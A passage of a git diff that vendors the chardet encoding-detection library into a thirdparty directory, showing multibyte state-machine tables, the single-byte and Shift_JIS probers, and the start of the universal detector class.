1,1,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,1, # 78 - 7f + 3,3,3,3,3,2,2,3, # 80 - 87 + 3,3,3,3,3,3,3,3, # 88 - 8f + 3,3,3,3,3,3,3,3, # 90 - 97 + 3,3,3,3,3,3,3,3, # 98 - 9f + #0xa0 is illegal in sjis encoding, but some pages does + #contain such byte. We need to be more error forgiven. + 2,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,2,2,2, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,2,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,4,4,4, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,0,0,0) # f8 - ff + + +SJIS_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START #10-17 +) + +SJIS_CHAR_LEN_TABLE = (0, 1, 1, 2, 0, 0) + +SJIS_SM_MODEL = {'class_table': SJIS_CLS, + 'class_factor': 6, + 'state_table': SJIS_ST, + 'char_len_table': SJIS_CHAR_LEN_TABLE, + 'name': 'Shift_JIS'} + +# UCS2-BE + +UCS2BE_CLS = ( + 0,0,0,0,0,0,0,0, # 00 - 07 + 0,0,1,0,0,2,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,3,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,3,3,3,3,3,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,0,0,0,0,0, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,0,0,0,0,0,0,0, # a0 - a7 + 0,0,0,0,0,0,0,0, # a8 - af + 0,0,0,0,0,0,0,0, # b0 - b7 + 0,0,0,0,0,0,0,0, # b8 - bf + 0,0,0,0,0,0,0,0, # c0 - c7 + 0,0,0,0,0,0,0,0, # c8 - cf + 0,0,0,0,0,0,0,0, # d0 - d7 + 0,0,0,0,0,0,0,0, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,4,5 # f8 - ff +) + +UCS2BE_ST = ( + 5, 7, 7,MachineState.ERROR, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME, 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,#10-17 + 6, 6, 6, 6, 6,MachineState.ITS_ME, 6, 6,#18-1f + 6, 6, 6, 6, 5, 7, 7,MachineState.ERROR,#20-27 + 5, 8, 6, 6,MachineState.ERROR, 6, 6, 6,#28-2f + 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #30-37 +) + +UCS2BE_CHAR_LEN_TABLE = (2, 2, 2, 0, 2, 2) + +UCS2BE_SM_MODEL = {'class_table': UCS2BE_CLS, + 'class_factor': 6, + 'state_table': UCS2BE_ST, + 'char_len_table': UCS2BE_CHAR_LEN_TABLE, + 'name': 'UTF-16BE'} + +# UCS2-LE + +UCS2LE_CLS = ( + 0,0,0,0,0,0,0,0, # 00 - 07 + 0,0,1,0,0,2,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,3,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,3,3,3,3,3,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,0,0,0,0,0, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,0,0,0,0,0,0,0, # a0 - a7 + 0,0,0,0,0,0,0,0, # a8 - af + 0,0,0,0,0,0,0,0, # b0 - b7 + 0,0,0,0,0,0,0,0, # b8 - bf + 0,0,0,0,0,0,0,0, # c0 - c7 + 0,0,0,0,0,0,0,0, # c8 - cf + 0,0,0,0,0,0,0,0, # d0 - d7 + 0,0,0,0,0,0,0,0, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,4,5 # f8 - ff +) + +UCS2LE_ST = ( + 6, 6, 7, 6, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME, 5, 5, 5,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#10-17 + 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR, 6, 6,#18-1f + 7, 6, 8, 8, 5, 5, 5,MachineState.ERROR,#20-27 + 5, 5, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5,#28-2f + 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR,MachineState.START,MachineState.START #30-37 +) + +UCS2LE_CHAR_LEN_TABLE = (2, 2, 2, 2, 2, 2) + +UCS2LE_SM_MODEL = {'class_table': UCS2LE_CLS, + 'class_factor': 6, + 'state_table': UCS2LE_ST, + 'char_len_table': UCS2LE_CHAR_LEN_TABLE, + 'name': 'UTF-16LE'} + +# UTF-8 + +UTF8_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as a legal value + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 1,1,1,1,1,1,1,1, # 40 - 47 + 1,1,1,1,1,1,1,1, # 48 - 4f + 1,1,1,1,1,1,1,1, # 50 - 57 + 1,1,1,1,1,1,1,1, # 58 - 5f + 1,1,1,1,1,1,1,1, # 60 - 67 + 1,1,1,1,1,1,1,1, # 68 - 6f + 1,1,1,1,1,1,1,1, # 70 - 77 + 1,1,1,1,1,1,1,1, # 78 - 7f + 2,2,2,2,3,3,3,3, # 80 - 87 + 4,4,4,4,4,4,4,4, # 88 - 8f + 4,4,4,4,4,4,4,4, # 90 - 97 + 4,4,4,4,4,4,4,4, # 98 - 9f + 5,5,5,5,5,5,5,5, # a0 - a7 + 5,5,5,5,5,5,5,5, # a8 - af + 5,5,5,5,5,5,5,5, # b0 - b7 + 5,5,5,5,5,5,5,5, # b8 - bf + 0,0,6,6,6,6,6,6, # c0 - c7 + 6,6,6,6,6,6,6,6, # c8 - cf + 6,6,6,6,6,6,6,6, # d0 - d7 + 6,6,6,6,6,6,6,6, # d8 - df + 7,8,8,8,8,8,8,8, # e0 - e7 + 8,8,8,8,8,9,8,8, # e8 - ef + 10,11,11,11,11,11,11,11, # f0 - f7 + 12,13,13,13,14,15,0,0 # f8 - ff +) + +UTF8_ST = ( + MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12, 10,#00-07 + 9, 11, 8, 7, 6, 5, 4, 3,#08-0f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#20-27 + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#28-2f + MachineState.ERROR,MachineState.ERROR, 5, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#30-37 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#38-3f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#40-47 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#48-4f + MachineState.ERROR,MachineState.ERROR, 7, 7, 7, 7,MachineState.ERROR,MachineState.ERROR,#50-57 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#58-5f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 7, 7,MachineState.ERROR,MachineState.ERROR,#60-67 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#68-6f + MachineState.ERROR,MachineState.ERROR, 9, 9, 9, 9,MachineState.ERROR,MachineState.ERROR,#70-77 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#78-7f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 9,MachineState.ERROR,MachineState.ERROR,#80-87 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#88-8f + MachineState.ERROR,MachineState.ERROR, 12, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,#90-97 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#98-9f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12,MachineState.ERROR,MachineState.ERROR,#a0-a7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#a8-af + MachineState.ERROR,MachineState.ERROR, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b0-b7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b8-bf + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,#c0-c7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR #c8-cf +) + +UTF8_CHAR_LEN_TABLE = (0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6) + +UTF8_SM_MODEL = {'class_table': UTF8_CLS, + 'class_factor': 16, + 'state_table': UTF8_ST, + 'char_len_table': UTF8_CHAR_LEN_TABLE, + 'name': 'UTF-8'} diff --git a/thirdparty/chardet/sbcharsetprober.py b/thirdparty/chardet/sbcharsetprober.py new file mode 100644 index 00000000000..0adb51de5a2 --- /dev/null +++ b/thirdparty/chardet/sbcharsetprober.py @@ -0,0 +1,132 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import CharacterCategory, ProbingState, SequenceLikelihood + + +class SingleByteCharSetProber(CharSetProber): + SAMPLE_SIZE = 64 + SB_ENOUGH_REL_THRESHOLD = 1024 # 0.25 * SAMPLE_SIZE^2 + POSITIVE_SHORTCUT_THRESHOLD = 0.95 + NEGATIVE_SHORTCUT_THRESHOLD = 0.05 + + def __init__(self, model, reversed=False, name_prober=None): + super(SingleByteCharSetProber, self).__init__() + self._model = model + # TRUE if we need to reverse every pair in the model lookup + self._reversed = reversed + # Optional auxiliary prober for name decision + self._name_prober = name_prober + self._last_order = None + self._seq_counters = None + self._total_seqs = None + self._total_char = None + self._freq_char = None + self.reset() + + def reset(self): + super(SingleByteCharSetProber, self).reset() + # char order of last character + self._last_order = 255 + self._seq_counters = [0] * SequenceLikelihood.get_num_categories() + self._total_seqs = 0 + self._total_char = 0 + # characters that fall in our sampling range + self._freq_char = 0 + + @property + def charset_name(self): + if self._name_prober: + return self._name_prober.charset_name + else: + return self._model['charset_name'] + + @property + def language(self): + if self._name_prober: + return self._name_prober.language + else: + return self._model.get('language') + + def feed(self, byte_str): + if not self._model['keep_english_letter']: + byte_str = self.filter_international_words(byte_str) + if not byte_str: + return self.state + char_to_order_map = self._model['char_to_order_map'] + for i, c in enumerate(byte_str): + # XXX: Order is in range 1-64, so one would think we want 0-63 here, + # but that leads to 27 more test failures than before. + order = char_to_order_map[c] + # XXX: This was SYMBOL_CAT_ORDER before, with a value of 250, but + # CharacterCategory.SYMBOL is actually 253, so we use CONTROL + # to make it closer to the original intent. The only difference + # is whether or not we count digits and control characters for + # _total_char purposes. + if order < CharacterCategory.CONTROL: + self._total_char += 1 + if order < self.SAMPLE_SIZE: + self._freq_char += 1 + if self._last_order < self.SAMPLE_SIZE: + self._total_seqs += 1 + if not self._reversed: + i = (self._last_order * self.SAMPLE_SIZE) + order + model = self._model['precedence_matrix'][i] + else: # reverse the order of the letters in the lookup + i = (order * self.SAMPLE_SIZE) + self._last_order + model = self._model['precedence_matrix'][i] + self._seq_counters[model] += 1 + self._last_order = order + + charset_name = self._model['charset_name'] + if self.state == ProbingState.DETECTING: + if self._total_seqs > self.SB_ENOUGH_REL_THRESHOLD: + confidence = self.get_confidence() + if confidence > self.POSITIVE_SHORTCUT_THRESHOLD: + self.logger.debug('%s confidence = %s, we have a winner', + charset_name, confidence) + self._state = ProbingState.FOUND_IT + elif confidence < self.NEGATIVE_SHORTCUT_THRESHOLD: + self.logger.debug('%s confidence = %s, below negative ' + 'shortcut threshhold %s', charset_name, + confidence, + self.NEGATIVE_SHORTCUT_THRESHOLD) + self._state = ProbingState.NOT_ME + + return self.state + + def get_confidence(self): + r = 0.01 + if self._total_seqs > 0: + r = ((1.0 * self._seq_counters[SequenceLikelihood.POSITIVE]) / + self._total_seqs / self._model['typical_positive_ratio']) + r = r * self._freq_char / self._total_char + if r >= 1.0: + r = 0.99 + return r diff --git a/extra/chardet/sbcsgroupprober.py b/thirdparty/chardet/sbcsgroupprober.py old mode 100755 new mode 100644 similarity index 53% rename from extra/chardet/sbcsgroupprober.py rename to thirdparty/chardet/sbcsgroupprober.py index d19160c86c7..98e95dc1a3c --- a/extra/chardet/sbcsgroupprober.py +++ b/thirdparty/chardet/sbcsgroupprober.py @@ -14,33 +14,36 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants, sys -from charsetgroupprober import CharSetGroupProber -from sbcharsetprober import SingleByteCharSetProber -from langcyrillicmodel import Win1251CyrillicModel, Koi8rModel, Latin5CyrillicModel, MacCyrillicModel, Ibm866Model, Ibm855Model -from langgreekmodel import Latin7GreekModel, Win1253GreekModel -from langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel -from langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel -from langthaimodel import TIS620ThaiModel -from langhebrewmodel import Win1255HebrewModel -from hebrewprober import HebrewProber +from .charsetgroupprober import CharSetGroupProber +from .sbcharsetprober import SingleByteCharSetProber +from .langcyrillicmodel import (Win1251CyrillicModel, Koi8rModel, + Latin5CyrillicModel, MacCyrillicModel, + Ibm866Model, Ibm855Model) +from .langgreekmodel import Latin7GreekModel, Win1253GreekModel +from .langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel +# from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel +from .langthaimodel import TIS620ThaiModel +from .langhebrewmodel import Win1255HebrewModel +from .hebrewprober import HebrewProber +from .langturkishmodel import Latin5TurkishModel + class SBCSGroupProber(CharSetGroupProber): def __init__(self): - CharSetGroupProber.__init__(self) - self._mProbers = [ \ + super(SBCSGroupProber, self).__init__() + self.probers = [ SingleByteCharSetProber(Win1251CyrillicModel), SingleByteCharSetProber(Koi8rModel), SingleByteCharSetProber(Latin5CyrillicModel), @@ -51,14 +54,20 @@ def __init__(self): SingleByteCharSetProber(Win1253GreekModel), SingleByteCharSetProber(Latin5BulgarianModel), SingleByteCharSetProber(Win1251BulgarianModel), - SingleByteCharSetProber(Latin2HungarianModel), - SingleByteCharSetProber(Win1250HungarianModel), + # TODO: Restore Hungarian encodings (iso-8859-2 and windows-1250) + # after we retrain model. + # SingleByteCharSetProber(Latin2HungarianModel), + # SingleByteCharSetProber(Win1250HungarianModel), SingleByteCharSetProber(TIS620ThaiModel), - ] - hebrewProber = HebrewProber() - logicalHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, constants.False, hebrewProber) - visualHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, constants.True, hebrewProber) - hebrewProber.set_model_probers(logicalHebrewProber, visualHebrewProber) - self._mProbers.extend([hebrewProber, logicalHebrewProber, visualHebrewProber]) + SingleByteCharSetProber(Latin5TurkishModel), + ] + hebrew_prober = HebrewProber() + logical_hebrew_prober = SingleByteCharSetProber(Win1255HebrewModel, + False, hebrew_prober) + visual_hebrew_prober = SingleByteCharSetProber(Win1255HebrewModel, True, + hebrew_prober) + hebrew_prober.set_model_probers(logical_hebrew_prober, visual_hebrew_prober) + self.probers.extend([hebrew_prober, logical_hebrew_prober, + visual_hebrew_prober]) self.reset() diff --git a/thirdparty/chardet/sjisprober.py b/thirdparty/chardet/sjisprober.py new file mode 100644 index 00000000000..9e29623bdc5 --- /dev/null +++ b/thirdparty/chardet/sjisprober.py @@ -0,0 +1,92 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import SJISDistributionAnalysis +from .jpcntx import SJISContextAnalysis +from .mbcssm import SJIS_SM_MODEL +from .enums import ProbingState, MachineState + + +class SJISProber(MultiByteCharSetProber): + def __init__(self): + super(SJISProber, self).__init__() + self.coding_sm = CodingStateMachine(SJIS_SM_MODEL) + self.distribution_analyzer = SJISDistributionAnalysis() + self.context_analyzer = SJISContextAnalysis() + self.reset() + + def reset(self): + super(SJISProber, self).reset() + self.context_analyzer.reset() + + @property + def charset_name(self): + return self.context_analyzer.charset_name + + @property + def language(self): + return "Japanese" + + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.context_analyzer.feed(self._last_char[2 - char_len:], + char_len) + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.context_analyzer.feed(byte_str[i + 1 - char_len:i + 3 + - char_len], char_len) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.context_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + context_conf = self.context_analyzer.get_confidence() + distrib_conf = self.distribution_analyzer.get_confidence() + return max(context_conf, distrib_conf) diff --git a/thirdparty/chardet/universaldetector.py b/thirdparty/chardet/universaldetector.py new file mode 100644 index 00000000000..7b4e92d6158 --- /dev/null +++ b/thirdparty/chardet/universaldetector.py @@ -0,0 +1,286 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### +""" +Module containing the UniversalDetector detector class, which is the primary +class a user of ``chardet`` should use. + +:author: Mark Pilgrim (initial port to Python) +:author: Shy Shalom (original C code) +:author: Dan Blanchard (major refactoring for 3.0) +:author: Ian Cordasco +""" + + +import codecs +import logging +import re + +from .charsetgroupprober import CharSetGroupProber +from .enums import InputState, LanguageFilter, ProbingState +from .escprober import EscCharSetProber +from .latin1prober import Latin1Prober +from .mbcsgroupprober import MBCSGroupProber +from .sbcsgroupprober import SBCSGroupProber + + +class UniversalDetector(object): + """ + The ``UniversalDetector`` class underlies the ``chardet.detect`` function + and coordinates all of the different charset probers. + + To get a ``dict`` containing an encoding and its confidence, you can simply + run: + + .. code:: + + u = UniversalDetector() + u.feed(some_bytes) + u.close() + detected = u.result + + """ + + MINIMUM_THRESHOLD = 0.20 + HIGH_BYTE_DETECTOR = re.compile(b'[\x80-\xFF]') + ESC_DETECTOR = re.compile(b'(\033|~{)') + WIN_BYTE_DETECTOR = re.compile(b'[\x80-\x9F]') + ISO_WIN_MAP = {'iso-8859-1': 'Windows-1252', + 'iso-8859-2': 'Windows-1250', + 'iso-8859-5': 'Windows-1251', + 'iso-8859-6': 'Windows-1256', + 'iso-8859-7': 'Windows-1253', + 'iso-8859-8': 'Windows-1255', + 'iso-8859-9': 'Windows-1254', + 'iso-8859-13': 'Windows-1257'} + + def __init__(self, lang_filter=LanguageFilter.ALL): + self._esc_charset_prober = None + self._charset_probers = [] + self.result = None + self.done = None + self._got_data = None + self._input_state = None + self._last_char = None + self.lang_filter = lang_filter + self.logger = logging.getLogger(__name__) + self._has_win_bytes = None + self.reset() + + def reset(self): + """ + Reset the UniversalDetector and all of its probers back to their + initial states. This is called by ``__init__``, so you only need to + call this directly in between analyses of different documents. + """ + self.result = {'encoding': None, 'confidence': 0.0, 'language': None} + self.done = False + self._got_data = False + self._has_win_bytes = False + self._input_state = InputState.PURE_ASCII + self._last_char = b'' + if self._esc_charset_prober: + self._esc_charset_prober.reset() + for prober in self._charset_probers: + prober.reset() + + def feed(self, byte_str): + """ + Takes a chunk of a document and feeds it through all of the relevant + charset probers. + + After calling ``feed``, you can check the value of the ``done`` + attribute to see if you need to continue feeding the + ``UniversalDetector`` more data, or if it has made a prediction + (in the ``result`` attribute). + + .. note:: + You should always call ``close`` when you're done feeding in your + document if ``done`` is not already ``True``. + """ + if self.done: + return + + if not len(byte_str): + return + + if not isinstance(byte_str, bytearray): + byte_str = bytearray(byte_str) + + # First check for known BOMs, since these are guaranteed to be correct + if not self._got_data: + # If the data starts with BOM, we know it is UTF + if byte_str.startswith(codecs.BOM_UTF8): + # EF BB BF UTF-8 with BOM + self.result = {'encoding': "UTF-8-SIG", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith((codecs.BOM_UTF32_LE, + codecs.BOM_UTF32_BE)): + # FF FE 00 00 UTF-32, little-endian BOM + # 00 00 FE FF UTF-32, big-endian BOM + self.result = {'encoding': "UTF-32", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith(b'\xFE\xFF\x00\x00'): + # FE FF 00 00 UCS-4, unusual octet order BOM (3412) + self.result = {'encoding': "X-ISO-10646-UCS-4-3412", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith(b'\x00\x00\xFF\xFE'): + # 00 00 FF FE UCS-4, unusual octet order BOM (2143) + self.result = {'encoding': "X-ISO-10646-UCS-4-2143", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith((codecs.BOM_LE, codecs.BOM_BE)): + # FF FE UTF-16, little endian BOM + # FE FF UTF-16, big endian BOM + self.result = {'encoding': "UTF-16", + 'confidence': 1.0, + 'language': ''} + + self._got_data = True + if self.result['encoding'] is not None: + self.done = True + return + + # If none of those matched and we've only see ASCII so far, check + # for high bytes and escape sequences + if self._input_state == InputState.PURE_ASCII: + if self.HIGH_BYTE_DETECTOR.search(byte_str): + self._input_state = InputState.HIGH_BYTE + elif self._input_state == InputState.PURE_ASCII and \ + self.ESC_DETECTOR.search(self._last_char + byte_str): + self._input_state = InputState.ESC_ASCII + + self._last_char = byte_str[-1:] + + # If we've seen escape sequences, use the EscCharSetProber, which + # uses a simple state machine to check for known escape sequences in + # HZ and ISO-2022 encodings, since those are the only encodings that + # use such sequences. + if self._input_state == InputState.ESC_ASCII: + if not self._esc_charset_prober: + self._esc_charset_prober = 